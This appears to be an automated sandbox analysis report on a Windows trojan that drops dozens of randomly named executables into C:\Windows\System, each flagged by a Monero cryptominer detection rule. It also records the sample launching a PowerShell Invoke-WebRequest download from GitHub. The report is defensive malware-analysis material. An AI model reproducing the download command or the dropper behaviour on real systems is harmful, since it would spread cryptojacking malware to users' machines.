Source: C:\Windows\System\uxMRJKa.exe	Code function: 7_2_00007FF6BEB85AE0	7_2_00007FF6BEB85AE0
Source: C:\Windows\System\uxMRJKa.exe	Code function: 7_2_00007FF6BEB80AE0	7_2_00007FF6BEB80AE0
Source: C:\Windows\System\uxMRJKa.exe	Code function: 7_2_00007FF6BEAA8A70	7_2_00007FF6BEAA8A70
Source: C:\Windows\System\uxMRJKa.exe	Code function: 7_2_00007FF6BEB80280	7_2_00007FF6BEB80280
Source: C:\Windows\System\uxMRJKa.exe	Code function: 7_2_00007FF6BEB87290	7_2_00007FF6BEB87290
Source: C:\Windows\System\uxMRJKa.exe	Code function: 7_2_00007FF6BEA9BA40	7_2_00007FF6BEA9BA40
Source: C:\Windows\System\uxMRJKa.exe	Code function: 7_2_00007FF6BEB7B2B0	7_2_00007FF6BEB7B2B0
Source: C:\Windows\System\uxMRJKa.exe	Code function: 7_2_00007FF6BEB7AA50	7_2_00007FF6BEB7AA50
Source: C:\Windows\System\uxMRJKa.exe	Code function: 7_2_00007FF6BEB8CA70	7_2_00007FF6BEB8CA70
Source: C:\Windows\System\uxMRJKa.exe	Code function: 7_2_00007FF6BEB8E270	7_2_00007FF6BEB8E270
Source: C:\Windows\System\uxMRJKa.exe	Code function: 7_2_00007FF6BEB75A70	7_2_00007FF6BEB75A70
Source: C:\Windows\System\bJVoOik.exe	Code function: 8_2_00007FF6B3CECD10	8_2_00007FF6B3CECD10
Source: C:\Windows\System\bJVoOik.exe	Code function: 8_2_00007FF6B3CEDD10	8_2_00007FF6B3CEDD10
Source: C:\Windows\System\bJVoOik.exe	Code function: 8_2_00007FF6B3DD5520	8_2_00007FF6B3DD5520
Source: C:\Windows\System\bJVoOik.exe	Code function: 8_2_00007FF6B3DCE520	8_2_00007FF6B3DCE520
Source: C:\Windows\System\bJVoOik.exe	Code function: 8_2_00007FF6B3DA9D30	8_2_00007FF6B3DA9D30
Source: C:\Windows\System\bJVoOik.exe	Code function: 8_2_00007FF6B3D01500	8_2_00007FF6B3D01500
Source: C:\Windows\System\bJVoOik.exe	Code function: 8_2_00007FF6B3D00530	8_2_00007FF6B3D00530
Source: C:\Windows\System\bJVoOik.exe	Code function: 8_2_00007FF6B3DABD10	8_2_00007FF6B3DABD10
Source: C:\Windows\System\bJVoOik.exe	Code function: 8_2_00007FF6B3D334B4	8_2_00007FF6B3D334B4

Source: 38.2.xNhRSWh.exe.7ff699c10000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 17.2.MwFvbxc.exe.7ff7dc870000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 19.2.oxCQuSo.exe.7ff6c9f90000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 7.2.uxMRJKa.exe.7ff6bea80000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 13.2.bzSbRdi.exe.7ff7777f0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 39.2.jtnQpnb.exe.7ff7a86e0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 25.2.VHwkuIa.exe.7ff781ee0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 30.2.FGSooXz.exe.7ff654030000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 12.2.imwRXsl.exe.7ff74df50000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 6.2.wHnuprt.exe.7ff7c3b50000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 14.2.Csmwgyb.exe.7ff7b8680000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 37.2.ZTSJHKb.exe.7ff725c00000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 5.2.ERbKWDm.exe.7ff67dbc0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 32.2.nWSykjl.exe.7ff77c770000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 40.2.hEUEsIC.exe.7ff61c860000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 9.2.wkazDeV.exe.7ff68b300000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 20.2.vyHGCnK.exe.7ff6acaf0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 41.2.UqXZtcb.exe.7ff7bbf70000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 24.2.eVVPPqR.exe.7ff6e04e0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 4.2.xIpouRJ.exe.7ff6667f0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 26.2.WLWcTVM.exe.7ff6a8db0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 35.2.tyQdqmC.exe.7ff60fc20000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 11.2.wJNkgSa.exe.7ff700a70000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 31.2.mKdsHiQ.exe.7ff757760000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 15.2.defQfgC.exe.7ff6888b0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 10.2.VWrcuzM.exe.7ff748320000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 22.2.VFkciqc.exe.7ff602990000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 16.2.XZxtJFw.exe.7ff7a5920000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 27.2.WCbcoxD.exe.7ff7b66f0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 34.2.iHSYLud.exe.7ff7683d0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 29.2.fpHmIIc.exe.7ff6377f0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 28.2.QWtCxan.exe.7ff670a00000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 8.2.bJVoOik.exe.7ff6b3cd0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 18.2.hAOVVjq.exe.7ff77b680000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 36.2.sabRErB.exe.7ff795f20000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 33.2.LKurWpq.exe.7ff650b90000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 21.2.mbSqRHL.exe.7ff62c3e0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 23.2.sdTevgk.exe.7ff601280000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/

Source: classification engine

Classification label: mal100.troj.evad.mine.winEXE@4779/516@4/4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\dark-9c5b7a476542[1].css

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7068:120:WilError_03
Source: C:\Users\user\Desktop\file.exe	Mutant created: \Sessions\1\BaseNamedObjects\sfdkjjhgkdsfhgjkjjsd

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qvboery0.1r2.ps1

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 92%

Source: xIpouRJ.exe	String found in binary or memory: --help
Source: xIpouRJ.exe	String found in binary or memory: --help
Source: ERbKWDm.exe	String found in binary or memory: --help
Source: ERbKWDm.exe	String found in binary or memory: --help
Source: wHnuprt.exe	String found in binary or memory: --help
Source: wHnuprt.exe	String found in binary or memory: --help
Source: uxMRJKa.exe	String found in binary or memory: --help
Source: uxMRJKa.exe	String found in binary or memory: --help
Source: bJVoOik.exe	String found in binary or memory: --help
Source: bJVoOik.exe	String found in binary or memory: --help
Source: wkazDeV.exe	String found in binary or memory: --help
Source: wkazDeV.exe	String found in binary or memory: --help
Source: VWrcuzM.exe	String found in binary or memory: --help
Source: VWrcuzM.exe	String found in binary or memory: --help

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\xIpouRJ.exe C:\Windows\System\xIpouRJ.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\ERbKWDm.exe C:\Windows\System\ERbKWDm.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\wHnuprt.exe C:\Windows\System\wHnuprt.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\uxMRJKa.exe C:\Windows\System\uxMRJKa.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\bJVoOik.exe C:\Windows\System\bJVoOik.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\wkazDeV.exe C:\Windows\System\wkazDeV.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\VWrcuzM.exe C:\Windows\System\VWrcuzM.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\wJNkgSa.exe C:\Windows\System\wJNkgSa.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\imwRXsl.exe C:\Windows\System\imwRXsl.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\bzSbRdi.exe C:\Windows\System\bzSbRdi.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\Csmwgyb.exe C:\Windows\System\Csmwgyb.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\defQfgC.exe C:\Windows\System\defQfgC.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\XZxtJFw.exe C:\Windows\System\XZxtJFw.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\MwFvbxc.exe C:\Windows\System\MwFvbxc.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\hAOVVjq.exe C:\Windows\System\hAOVVjq.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\oxCQuSo.exe C:\Windows\System\oxCQuSo.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\vyHGCnK.exe C:\Windows\System\vyHGCnK.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\mbSqRHL.exe C:\Windows\System\mbSqRHL.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\VFkciqc.exe C:\Windows\System\VFkciqc.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\sdTevgk.exe C:\Windows\System\sdTevgk.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\eVVPPqR.exe C:\Windows\System\eVVPPqR.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\VHwkuIa.exe C:\Windows\System\VHwkuIa.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\WLWcTVM.exe C:\Windows\System\WLWcTVM.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\WCbcoxD.exe C:\Windows\System\WCbcoxD.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\QWtCxan.exe C:\Windows\System\QWtCxan.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\fpHmIIc.exe C:\Windows\System\fpHmIIc.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\FGSooXz.exe C:\Windows\System\FGSooXz.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\mKdsHiQ.exe C:\Windows\System\mKdsHiQ.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\nWSykjl.exe C:\Windows\System\nWSykjl.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\LKurWpq.exe C:\Windows\System\LKurWpq.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\iHSYLud.exe C:\Windows\System\iHSYLud.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\tyQdqmC.exe C:\Windows\System\tyQdqmC.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\sabRErB.exe C:\Windows\System\sabRErB.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\ZTSJHKb.exe C:\Windows\System\ZTSJHKb.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\xNhRSWh.exe C:\Windows\System\xNhRSWh.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\jtnQpnb.exe C:\Windows\System\jtnQpnb.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\hEUEsIC.exe C:\Windows\System\hEUEsIC.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\UqXZtcb.exe C:\Windows\System\UqXZtcb.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\xIpouRJ.exe C:\Windows\System\xIpouRJ.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\ERbKWDm.exe C:\Windows\System\ERbKWDm.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\wHnuprt.exe C:\Windows\System\wHnuprt.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\uxMRJKa.exe C:\Windows\System\uxMRJKa.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\bJVoOik.exe C:\Windows\System\bJVoOik.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\wkazDeV.exe C:\Windows\System\wkazDeV.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\VWrcuzM.exe C:\Windows\System\VWrcuzM.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\wJNkgSa.exe C:\Windows\System\wJNkgSa.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\imwRXsl.exe C:\Windows\System\imwRXsl.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\bzSbRdi.exe C:\Windows\System\bzSbRdi.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\Csmwgyb.exe C:\Windows\System\Csmwgyb.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\defQfgC.exe C:\Windows\System\defQfgC.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\XZxtJFw.exe C:\Windows\System\XZxtJFw.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\MwFvbxc.exe C:\Windows\System\MwFvbxc.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\hAOVVjq.exe C:\Windows\System\hAOVVjq.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\oxCQuSo.exe C:\Windows\System\oxCQuSo.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\vyHGCnK.exe C:\Windows\System\vyHGCnK.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\mbSqRHL.exe C:\Windows\System\mbSqRHL.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\VFkciqc.exe C:\Windows\System\VFkciqc.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\sdTevgk.exe C:\Windows\System\sdTevgk.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\eVVPPqR.exe C:\Windows\System\eVVPPqR.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\VHwkuIa.exe C:\Windows\System\VHwkuIa.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\WLWcTVM.exe C:\Windows\System\WLWcTVM.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\WCbcoxD.exe C:\Windows\System\WCbcoxD.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\QWtCxan.exe C:\Windows\System\QWtCxan.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\fpHmIIc.exe C:\Windows\System\fpHmIIc.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\FGSooXz.exe C:\Windows\System\FGSooXz.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\mKdsHiQ.exe C:\Windows\System\mKdsHiQ.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\nWSykjl.exe C:\Windows\System\nWSykjl.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\LKurWpq.exe C:\Windows\System\LKurWpq.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\iHSYLud.exe C:\Windows\System\iHSYLud.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\tyQdqmC.exe C:\Windows\System\tyQdqmC.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\sabRErB.exe C:\Windows\System\sabRErB.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\ZTSJHKb.exe C:\Windows\System\ZTSJHKb.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\xNhRSWh.exe C:\Windows\System\xNhRSWh.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\jtnQpnb.exe C:\Windows\System\jtnQpnb.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\hEUEsIC.exe C:\Windows\System\hEUEsIC.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System\UqXZtcb.exe C:\Windows\System\UqXZtcb.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
